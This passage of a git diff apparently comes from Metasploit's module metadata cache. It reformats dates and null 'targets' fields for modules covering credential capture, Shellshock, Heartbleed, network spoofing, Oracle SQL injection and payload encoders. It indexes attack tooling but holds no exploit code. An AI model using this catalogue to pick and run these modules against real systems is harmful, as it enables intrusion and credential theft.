06:26:21 +0000", "path": "/modules/auxiliary/server/capture/imap.rb", "is_install_path": true, @@ -26239,9 +24375,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/mssql.rb", "is_install_path": true, @@ -26265,9 +24399,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/mysql.rb", "is_install_path": true, @@ -26292,9 +24424,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/pop3.rb", "is_install_path": true, @@ -26318,9 +24448,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/postgresql.rb", "is_install_path": true, @@ -26346,9 +24474,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/printjob_capture.rb", "is_install_path": true, @@ -26372,9 +24498,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/sip.rb", "is_install_path": true, @@ -26398,9 +24522,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/smb.rb", "is_install_path": true, @@ -26425,9 +24547,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/smtp.rb", "is_install_path": true, @@ -26451,9 +24571,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/telnet.rb", "is_install_path": true, @@ -26477,9 +24595,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/capture/vnc.rb", "is_install_path": true, @@ -26489,7 +24605,7 @@ "name": "DHCP Client Bash Environment Variable Code Injection (Shellshock)", "full_name": "auxiliary/server/dhclient_bash_env", "rank": 300, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "auxiliary", "author": [ "scriptjunkie", @@ -26513,9 +24629,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/dhclient_bash_env.rb", "is_install_path": true, @@ -26540,9 +24654,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/dhcp.rb", "is_install_path": true, @@ -26566,9 +24678,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-22 23:37:39 +0000", "path": "/modules/auxiliary/server/dns/native_server.rb", "is_install_path": true, @@ -26593,9 +24703,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/dns/spoofhelper.rb", "is_install_path": true, @@ -26621,9 +24729,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/fakedns.rb", "is_install_path": true, @@ -26647,9 +24753,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/ftp.rb", "is_install_path": true, @@ -26673,9 +24777,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-18 11:33:48 +0000", "path": "/modules/auxiliary/server/http_ntlmrelay.rb", "is_install_path": true, @@ -26701,9 +24803,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/server/icmp_exfil.rb", "is_install_path": true, @@ -26713,7 +24813,7 @@ "name": "Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy", "full_name": "auxiliary/server/jsse_skiptls_mitm_proxy", "rank": 300, - "disclosure_date": "2015-01-20 00:00:00 -0600", + "disclosure_date": "2015-01-20", "type": "auxiliary", "author": [ "Ramon de C Valle " @@ -26732,9 +24832,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb", "is_install_path": true, @@ -26758,9 +24856,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-14 09:28:38 +0000", "path": "/modules/auxiliary/server/local_hwbridge.rb", "is_install_path": true, @@ -26770,7 +24866,7 @@ "name": "MS15-134 Microsoft Windows Media Center MCL Information Disclosure", "full_name": "auxiliary/server/ms15_134_mcl_leak", "rank": 300, - "disclosure_date": "2015-12-08 00:00:00 -0600", + "disclosure_date": "2015-12-08", "type": "auxiliary", "author": [ "Francisco Falcon", @@ -26788,9 +24884,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/ms15_134_mcl_leak.rb", "is_install_path": true, @@ -26800,7 +24894,7 @@ "name": "NetBIOS Response \"BadTunnel\" Brute Force Spoof (NAT Tunnel)", "full_name": "auxiliary/server/netbios_spoof_nat", "rank": 300, - "disclosure_date": "2016-06-14 00:00:00 -0500", + "disclosure_date": "2016-06-14", "type": "auxiliary", "author": [ "vvalien", @@ -26820,9 +24914,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/netbios_spoof_nat.rb", "is_install_path": true, @@ -26832,7 +24924,7 @@ "name": "OpenSSL Alternative Chains Certificate Forgery MITM Proxy", "full_name": "auxiliary/server/openssl_altchainsforgery_mitm_proxy", "rank": 300, - "disclosure_date": "2015-07-09 00:00:00 -0500", + "disclosure_date": "2015-07-09", "type": "auxiliary", "author": [ "David Benjamin", @@ -26850,9 +24942,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb", "is_install_path": true, @@ -26862,7 +24952,7 @@ "name": "OpenSSL Heartbeat (Heartbleed) Client Memory Exposure", "full_name": "auxiliary/server/openssl_heartbeat_client_memory", "rank": 300, - "disclosure_date": "2014-04-07 00:00:00 -0500", + "disclosure_date": "2014-04-07", "type": "auxiliary", "author": [ "Neel Mehta", @@ -26884,9 +24974,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/openssl_heartbeat_client_memory.rb", "is_install_path": true, @@ -26910,9 +24998,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/pxeexploit.rb", "is_install_path": true, @@ -26938,9 +25024,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/regsvr32_command_delivery_server.rb", "is_install_path": true, @@ -26964,9 +25048,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/socks4a.rb", "is_install_path": true, @@ -26992,9 +25074,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-26 13:46:00 +0000", "path": "/modules/auxiliary/server/socks5.rb", "is_install_path": true, @@ -27018,9 +25098,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/socks_unc.rb", "is_install_path": true, @@ -27045,9 +25123,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/tftp.rb", "is_install_path": true, @@ -27064,16 +25140,14 @@ ], "description": "This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8\n files to the target file-system. By default, the file will be dropped in\n C:\\Program Files\\", "references": [ - + "CVE-2011-1774" ], "is_server": false, "is_client": false, "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/server/webkit_xslt_dropper.rb", "is_install_path": true, @@ -27083,7 +25157,7 @@ "name": "GNU Wget FTP Symlink Arbitrary Filesystem Access", "full_name": "auxiliary/server/wget_symlink_file_write", "rank": 300, - "disclosure_date": "2014-10-27 00:00:00 -0500", + "disclosure_date": "2014-10-27", "type": "auxiliary", "author": [ "hdm " @@ -27099,9 +25173,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/wget_symlink_file_write.rb", "is_install_path": true, @@ -27125,9 +25197,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/wpad.rb", "is_install_path": true, @@ -27151,9 +25221,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-04 15:27:20 +0000", "path": "/modules/auxiliary/sniffer/psnuffle.rb", "is_install_path": true, @@ -27163,7 +25231,7 @@ "name": "ARP Spoof", "full_name": "auxiliary/spoof/arp/arp_poisoning", "rank": 300, - "disclosure_date": "1999-12-22 00:00:00 -0600", + "disclosure_date": "1999-12-22", "type": "auxiliary", "author": [ "amaloteaux " @@ -27179,9 +25247,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/spoof/arp/arp_poisoning.rb", "is_install_path": true, @@ -27205,9 +25271,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/cisco/cdp.rb", "is_install_path": true, @@ -27231,9 +25295,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/cisco/dtp.rb", "is_install_path": true, @@ -27243,7 +25305,7 @@ "name": "DNS BailiWicked Domain Attack", "full_name": "auxiliary/spoof/dns/bailiwicked_domain", "rank": 300, - "disclosure_date": "2008-07-21 00:00:00 -0500", + "disclosure_date": "2008-07-21", "type": "auxiliary", "author": [ "I)ruid ", @@ -27262,9 +25324,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/dns/bailiwicked_domain.rb", "is_install_path": true, @@ -27274,7 +25334,7 @@ "name": "DNS BailiWicked Host Attack", "full_name": "auxiliary/spoof/dns/bailiwicked_host", "rank": 300, - "disclosure_date": "2008-07-21 00:00:00 -0500", + "disclosure_date": "2008-07-21", "type": "auxiliary", "author": [ "I)ruid ", @@ -27292,9 +25352,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/dns/bailiwicked_host.rb", "is_install_path": true, @@ -27304,7 +25362,7 @@ "name": "DNS Lookup Result Comparison", "full_name": "auxiliary/spoof/dns/compare_results", "rank": 300, - "disclosure_date": "2008-07-21 00:00:00 -0500", + "disclosure_date": "2008-07-21", "type": "auxiliary", "author": [ "hdm " @@ -27318,9 +25376,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/spoof/dns/compare_results.rb", "is_install_path": true, @@ -27344,9 +25400,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-31 23:44:51 +0000", "path": "/modules/auxiliary/spoof/dns/native_spoofer.rb", "is_install_path": true, @@ -27370,9 +25424,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/llmnr/llmnr_response.rb", "is_install_path": true, @@ -27398,9 +25450,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/mdns/mdns_response.rb", "is_install_path": true, @@ -27424,9 +25474,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/nbns/nbns_response.rb", "is_install_path": true, @@ -27450,9 +25498,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/replay/pcap_replay.rb", "is_install_path": true, @@ -27462,7 +25508,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE", "full_name": "auxiliary/sqli/oracle/dbms_cdc_ipublish", "rank": 300, - "disclosure_date": "2008-10-22 00:00:00 -0500", + "disclosure_date": "2008-10-22", "type": "auxiliary", "author": [ "MC " @@ -27477,9 +25523,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb", "is_install_path": true, @@ -27489,7 +25533,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE", "full_name": "auxiliary/sqli/oracle/dbms_cdc_publish", "rank": 300, - "disclosure_date": "2008-10-22 00:00:00 -0500", + "disclosure_date": "2008-10-22", "type": "auxiliary", "author": [ "MC " @@ -27504,9 +25548,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb", "is_install_path": true, @@ -27516,7 +25558,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE", "full_name": "auxiliary/sqli/oracle/dbms_cdc_publish2", "rank": 300, - "disclosure_date": "2010-04-26 00:00:00 -0500", + "disclosure_date": "2010-04-26", "type": "auxiliary", "author": [ "MC " @@ -27532,9 +25574,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb", "is_install_path": true, @@ -27544,7 +25584,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET", "full_name": "auxiliary/sqli/oracle/dbms_cdc_publish3", "rank": 300, - "disclosure_date": "2010-10-13 00:00:00 -0500", + "disclosure_date": "2010-10-13", "type": "auxiliary", "author": [ "MC " @@ -27560,9 +25600,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb", "is_install_path": true, @@ -27572,7 +25610,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION", "full_name": "auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription", "rank": 300, - "disclosure_date": "2005-04-18 00:00:00 -0500", + "disclosure_date": "2005-04-18", "type": "auxiliary", "author": [ "Esteban Martinez Fayo", @@ -27591,9 +25629,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb", "is_install_path": true, @@ -27603,7 +25639,7 @@ "name": "Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION", "full_name": "auxiliary/sqli/oracle/dbms_export_extension", "rank": 300, - "disclosure_date": "2006-04-26 00:00:00 -0500", + "disclosure_date": "2006-04-26", "type": "auxiliary", "author": [ "MC " @@ -27620,9 +25656,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_export_extension.rb", "is_install_path": true, @@ -27632,7 +25666,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML", "full_name": "auxiliary/sqli/oracle/dbms_metadata_get_granted_xml", "rank": 300, - "disclosure_date": "2008-01-05 00:00:00 -0600", + "disclosure_date": "2008-01-05", "type": "auxiliary", "author": [ "MC " @@ -27646,9 +25680,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb", "is_install_path": true, @@ -27658,7 +25690,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML", "full_name": "auxiliary/sqli/oracle/dbms_metadata_get_xml", "rank": 300, - "disclosure_date": "2008-01-05 00:00:00 -0600", + "disclosure_date": "2008-01-05", "type": "auxiliary", "author": [ "MC " @@ -27672,9 +25704,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb", "is_install_path": true, @@ -27684,7 +25714,7 @@ "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN", "full_name": "auxiliary/sqli/oracle/dbms_metadata_open", "rank": 300, - "disclosure_date": "2008-01-05 00:00:00 -0600", + "disclosure_date": "2008-01-05", "type": "auxiliary", "author": [ "MC " @@ -27698,9 +25728,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb", "is_install_path": true, @@ -27710,7 +25738,7 @@ "name": "Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger", "full_name": "auxiliary/sqli/oracle/droptable_trigger", "rank": 300, - "disclosure_date": "2009-01-13 00:00:00 -0600", + "disclosure_date": "2009-01-13", "type": "auxiliary", "author": [ "Sh2kerr " @@ -27727,9 +25755,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/droptable_trigger.rb", "is_install_path": true, @@ -27739,7 +25765,7 @@ "name": "Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution", "full_name": "auxiliary/sqli/oracle/jvm_os_code_10g", "rank": 300, - "disclosure_date": "2010-02-01 00:00:00 -0600", + "disclosure_date": "2010-02-01", "type": "auxiliary", "author": [ "sid " @@ -27756,9 +25782,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb", "is_install_path": true, @@ -27768,7 +25792,7 @@ "name": "Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution", "full_name": "auxiliary/sqli/oracle/jvm_os_code_11g", "rank": 300, - "disclosure_date": "2010-02-01 00:00:00 -0600", + "disclosure_date": "2010-02-01", "type": "auxiliary", "author": [ "sid " @@ -27785,9 +25809,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb", "is_install_path": true, @@ -27797,7 +25819,7 @@ "name": "Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE", "full_name": "auxiliary/sqli/oracle/lt_compressworkspace", "rank": 300, - "disclosure_date": "2008-10-13 00:00:00 -0500", + "disclosure_date": "2008-10-13", "type": "auxiliary", "author": [ "CG " @@ -27813,9 +25835,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb", "is_install_path": true, @@ -27825,7 +25845,7 @@ "name": "Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method", "full_name": "auxiliary/sqli/oracle/lt_findricset_cursor", "rank": 300, - "disclosure_date": "2007-10-17 00:00:00 -0500", + "disclosure_date": "2007-10-17", "type": "auxiliary", "author": [ "CG " @@ -27842,9 +25862,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb", "is_install_path": true, @@ -27854,7 +25872,7 @@ "name": "Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE", "full_name": "auxiliary/sqli/oracle/lt_mergeworkspace", "rank": 300, - "disclosure_date": "2008-10-22 00:00:00 -0500", + "disclosure_date": "2008-10-22", "type": "auxiliary", "author": [ "CG " @@ -27871,9 +25889,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb", "is_install_path": true, @@ -27883,7 +25899,7 @@ "name": "Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE", "full_name": "auxiliary/sqli/oracle/lt_removeworkspace", "rank": 300, - "disclosure_date": "2008-10-13 00:00:00 -0500", + "disclosure_date": "2008-10-13", "type": "auxiliary", "author": [ "Sh2kerr " @@ -27898,9 +25914,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb", "is_install_path": true, @@ -27910,7 +25924,7 @@ "name": "Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE", "full_name": "auxiliary/sqli/oracle/lt_rollbackworkspace", "rank": 300, - "disclosure_date": "2009-05-04 00:00:00 -0500", + "disclosure_date": "2009-05-04", "type": "auxiliary", "author": [ "MC " @@ -27926,9 +25940,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb", "is_install_path": true, @@ -27952,9 +25964,7 @@ "platform": "", "arch": "", "rport": "5038", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/voip/asterisk_login.rb", "is_install_path": true, @@ -27979,9 +25989,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/voip/cisco_cucdm_call_forward.rb", "is_install_path": true, @@ -28006,9 +26014,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb", "is_install_path": true, @@ -28032,9 +26038,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/auxiliary/voip/sip_deregister.rb", "is_install_path": true, @@ -28059,9 +26063,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/voip/sip_invite_spoof.rb", "is_install_path": true, @@ -28071,7 +26073,7 @@ "name": "Telisca IPS Lock Cisco IP Phone Control", "full_name": "auxiliary/voip/telisca_ips_lock_control", "rank": 300, - "disclosure_date": "2015-12-17 00:00:00 -0600", + "disclosure_date": "2015-12-17", "type": "auxiliary", "author": [ "Fakhir Karim Reda ", @@ -28086,9 +26088,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/voip/telisca_ips_lock_control.rb", "is_install_path": true, @@ -28112,9 +26112,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb", "is_install_path": true, @@ -28138,9 +26136,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_query.rb", "is_install_path": true, @@ -28164,9 +26160,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb", "is_install_path": true, @@ -28190,9 +26184,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/pii/email_pii.rb", "is_install_path": true, @@ -28216,9 +26208,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/vsploit/pii/web_pii.rb", "is_install_path": true, @@ -28242,9 +26232,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/cmd/echo.rb", "is_install_path": true, @@ -28268,9 +26256,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/cmd/generic_sh.rb", "is_install_path": true, @@ -28294,9 +26280,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/cmd/ifs.rb", "is_install_path": true, @@ -28320,9 +26304,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/cmd/perl.rb", "is_install_path": true, @@ -28346,9 +26328,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/cmd/powershell_base64.rb", "is_install_path": true, @@ -28372,9 +26352,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 20:17:58 +0000", "path": "/modules/encoders/cmd/printf_php_mq.rb", "is_install_path": true, @@ -28398,9 +26376,7 @@ "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/generic/eicar.rb", "is_install_path": true, @@ -28424,9 +26400,7 @@ "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/generic/none.rb", "is_install_path": true, @@ -28451,9 +26425,7 @@ "platform": "All", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/mipsbe/byte_xori.rb", "is_install_path": true, @@ -28477,9 +26449,7 @@ "platform": "All", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/mipsbe/longxor.rb", "is_install_path": true, @@ -28504,9 +26474,7 @@ "platform": "All", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/mipsle/byte_xori.rb", "is_install_path": true, @@ -28530,9 +26498,7 @@ "platform": "All", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 